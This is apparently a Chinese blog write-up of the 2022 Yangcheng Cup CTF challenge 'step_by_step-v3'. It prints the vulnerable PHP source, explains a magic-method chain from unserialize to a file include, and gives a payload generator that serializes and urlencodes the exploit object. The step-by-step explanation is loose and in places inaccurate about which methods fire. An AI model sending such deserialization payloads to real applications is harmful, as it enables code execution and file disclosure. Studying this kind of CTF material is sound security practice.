本文已参与「新人创作礼」活动,一起开启掘金创作之路。
2022羊城杯step_by_step-v3复现
<?php
class yang
{
public $y1;
public function __construct()
{
// $this->y1->magic();
}
public function __tostring()
{
// print('3');
($this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
print('1');
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
print('2');
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
$c = new yang();
$c->y1 = 'yang::hint';
$b = new bei();
$b->b1 = $c;
$a = new cheng();
$a->c1 = $b;
unserialize(serialize($a));
通过题目分析,
$a = new cheng();
$a->c1 = $b;
new创建一个cheng对象,->符号对c1进行调用,然后=$b. 刚开始的时候unserialize触发_wakeup方法,
$b = new bei();
$b->b1 = $c;
new新建一个bei对象的时候,然后对b1进行调用,=$c.在这里出发_set()方法 __set() 用于将数据写入不可访问的属性
$c = new yang();
$c->y1 = 'yang::hint';
新建一个yang对象,然后对y1进行调用 $c的对象是字符串'yang::hint'。new yang对象的时候调用_construct方法。又因为对象是一个字符串,调用_tostring方法,php中的::是调用类中的静态方法或者常量,然后调用hint方法。读取hint.php。
现在开始构造序列化
<?php
error_reporting(0);
class yang
{
public $y1;
public function __construct()
{
$this->y1="phpinfo";
}
}
class cheng
{
public $c1;
public function __construct(){
$this->c1 = new bei();
}
}
class bei
{
public $b1;
public $b2;
public function __construct(){
$this->b1 = new yang();
}
}
echo urlencode(serialize(new cheng()));